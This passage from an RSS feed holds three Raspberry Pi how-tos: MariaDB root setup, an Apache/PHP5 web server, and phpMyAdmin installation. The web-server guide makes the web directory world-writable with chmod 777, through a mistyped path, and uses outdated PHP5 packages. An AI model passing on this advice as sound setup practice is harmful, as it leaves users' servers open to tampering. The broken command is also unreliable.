use.&lt;/li&gt;&lt;/ul&gt;&lt;p data-slot-rendered-content=&quot;true&quot;&gt;If you’ve noticed it, the installation of MariaDB has also installed the MariaDB client.&lt;br&gt;This will allow you to connect from the command line with:&lt;br&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql&lt;/code&gt;&lt;/p&gt;&lt;h3 class=&quot;wp-block-heading&quot;&gt;Root access&lt;/h3&gt;&lt;p&gt;Here is how to define the password for the root user and start to use MariaDB:&lt;/p&gt;&lt;ul data-slot-rendered-content=&quot;true&quot; class=&quot;wp-block-list&quot;&gt;&lt;li&gt;&lt;strong&gt;Enter this command:&lt;/strong&gt;&lt;br&gt;&lt;code&gt;sudo mysql_secure_installation&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Press enter to continue&lt;/strong&gt; (no password by default).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Press “Y” to switch &lt;/strong&gt;to unix_socket authentication.&lt;/li&gt;&lt;li&gt;Then &lt;strong&gt;type “Y” to set a new password, and enter the password of your choice&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;Now, &lt;strong&gt;press “Y” three more times&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Remove anonymous users.&lt;/li&gt;&lt;li&gt;Disallow root login remotely.&lt;/li&gt;&lt;li&gt;Remove the test database.&lt;/li&gt;&lt;li&gt;&lt;/li&gt;&lt;li&gt;And finally, &lt;strong&gt;press “Y” again to reload the privileges.&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;p data-slot-rendered-content=&quot;true&quot;&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/66/how-to-install-mariadb-on-raspberry-pi</guid>
<pubDate>Mon, 24 Mar 2025 21:31:59 +0000</pubDate>
</item>
<item>
<title>Web server on any Raspberry Pi?</title>
<link>https://asky.uk/2/web-server-on-any-raspberry-pi</link>
<description>&lt;p&gt;Now you have to install a server on the raspberry pi, the easiest is the Apache Server (Lighttpd also works if you are looking for something lighter) run the following commands to install Apache, PHP5, PHP5 mod for apache and MYSQL( if you are planning to use a CMS or a database.&lt;br&gt;&lt;br&gt;&lt;strong&gt;sudo apt-get update&lt;br&gt;&lt;br&gt;sudo apt-get install apache2 php5 libapache2-mod-php5&lt;/strong&gt;&lt;br&gt;&lt;br&gt;now you should allow overrides by editing the 000-default file, you can do that using the following comands..&lt;br&gt;&lt;br&gt;&lt;strong&gt;sudo nano /etc/apache2/sites-enabled/000-default&lt;/strong&gt;&lt;br&gt;&lt;br&gt;now edit the following lines&lt;br&gt;&lt;br&gt;change &quot;&lt;strong&gt;AllowOverride None&lt;/strong&gt;&quot; -to &quot;&lt;strong&gt;AllowOverride ALL&lt;/strong&gt;&quot;.&lt;br&gt;&lt;br&gt;now execute&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;sudo service apache2 restart&lt;/strong&gt;&lt;br&gt;&lt;br&gt;to restart apache witht your new settings&lt;br&gt;&lt;br&gt;now your site should be up and running u can go to /var/ and change the permissions on www, making it writable.&lt;br&gt;&lt;br&gt;&lt;strong&gt;cd /var/&lt;br&gt;sudo chmod 777 /www&lt;/strong&gt;&lt;br&gt;&lt;br&gt;this will enable you to login using &lt;a href=&quot;http://winscp.net/eng/index.php&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;WINSCP&lt;/a&gt;&amp;nbsp;and upload HTML pages to your new site. open the browser on your PC and point to 192.168.xx.xx (ip address of you raspberry pi) to view the default page.&lt;br&gt;&lt;br&gt;You can also install and SQL server using the following comands, with a &lt;strong&gt;PHP&lt;/strong&gt; and &lt;strong&gt;SQL&lt;/strong&gt; running on your server u can have a CMs like Drupal running on it.&lt;br&gt;&lt;br&gt;&lt;strong&gt;sudo apt-get install mysql-server mysql-client php5-mysql&lt;/strong&gt;&lt;/p&gt;</description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/2/web-server-on-any-raspberry-pi</guid>
<pubDate>Wed, 19 Mar 2025 08:24:05 +0000</pubDate>
</item>
<item>
<title>How to install phpmyadmin in Raspberry Pi?</title>
<link>https://asky.uk/1/how-to-install-phpmyadmin-in-raspberry-pi</link>
<description>&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;1.&lt;/strong&gt;&amp;nbsp;To install the PHPMyAdmin package to our Raspberry Pi, have to run the command below.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo apt install phpmyadmin&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;2.&lt;/strong&gt;&amp;nbsp;Select the “&lt;strong&gt;apache2&lt;/strong&gt;” option by pressing&amp;nbsp;&lt;strong&gt;SPACE&lt;/strong&gt;&amp;nbsp;and then&amp;nbsp;&lt;strong&gt;ENTER&lt;/strong&gt;. Select this option even if you are using NGINX as we will configure that ourselves latest on.&lt;/p&gt;&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;3.&lt;/strong&gt;&amp;nbsp;Next, we will need to configure PHPMyAdmin to connect to our MYSQL server. We will also need set up some details so that we can log in to the PHPMyAdmin software.&lt;/p&gt;&lt;p&gt;To do this select “&lt;strong&gt;&amp;lt;Yes&amp;gt;&lt;/strong&gt;” at the next prompt.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://pi.lbbcdn.com/wp-content/uploads/2019/07/Raspberry-Pi-PHPMyAdmin-setup.png&quot; alt=&quot;Raspbian PHPMyAdmin setup&quot; data-lazy-srcset=&quot;https://pi.lbbcdn.com/wp-content/uploads/2019/07/Raspberry-Pi-PHPMyAdmin-setup.png 728w, https://pi.lbbcdn.com/wp-content/uploads/2019/07/Raspberry-Pi-PHPMyAdmin-setup-300x187.png 300w, https://pi.lbbcdn.com/wp-content/uploads/2019/07/Raspberry-Pi-PHPMyAdmin-setup-400x250.png 400w, https://pi.lbbcdn.com/wp-content/uploads/2019/07/Raspberry-Pi-PHPMyAdmin-setup-600x374.png 600w&quot; data-lazy-sizes=&quot;(max-width: 728px) 100vw, 728px&quot; data-lazy-src=&quot;https://pi.lbbcdn.com/wp-content/uploads/2019/07/Raspberry-Pi-PHPMyAdmin-setup.png&quot; data-was-processed=&quot;true&quot; style=&quot;height:454px; width:728px&quot; class=&quot;aligncenter lazyloaded size-full wp-image-33455175&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;4.&lt;/strong&gt; Set a password for PHPMyAdmin itself. It is best to set this password to something different to your root SQL password. Doing this will help secure the server.&lt;/p&gt;&lt;p&gt;This password is what PHPMyAdmin will use to connect to the MySQL server.&lt;/p&gt;&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;5.&lt;/strong&gt; Create a new user:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo mysql -u root -p&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;6.&lt;/strong&gt; Run the command below to create a user and permit it to access all databases&lt;/p&gt;&lt;p&gt;Make sure you replace “&lt;strong&gt;username&lt;/strong&gt;” with the&amp;nbsp;&lt;strong&gt;username of your choice&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Also, replace “&lt;strong&gt;password&lt;/strong&gt;” with a&amp;nbsp;&lt;strong&gt;secure password&lt;/strong&gt;&amp;nbsp;of your choice.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;GRANT ALL PRIVILEGES ON *.* TO &#039;username&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;password&#039; WITH GRANT OPTION;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong class=&quot;step_numbering&quot;&gt;7.&lt;/strong&gt;&amp;nbsp;You can exit out of the MySQL command line interface by typing “&lt;strong&gt;quit&lt;/strong&gt;” in the terminal.&lt;/p&gt;&lt;p&gt;Once done you can proceed to configure PHPMyAdmin for Apache or NGINX.&lt;/p&gt;&lt;p&gt;access your Raspberry Pi’s PHPMyAdmin interface:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://localhost/phpmyadmin&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/1/how-to-install-phpmyadmin-in-raspberry-pi</guid>
<pubDate>Tue, 18 Mar 2025 21:44:37 +0000</pubDate>
</item>
</channel>
</rss>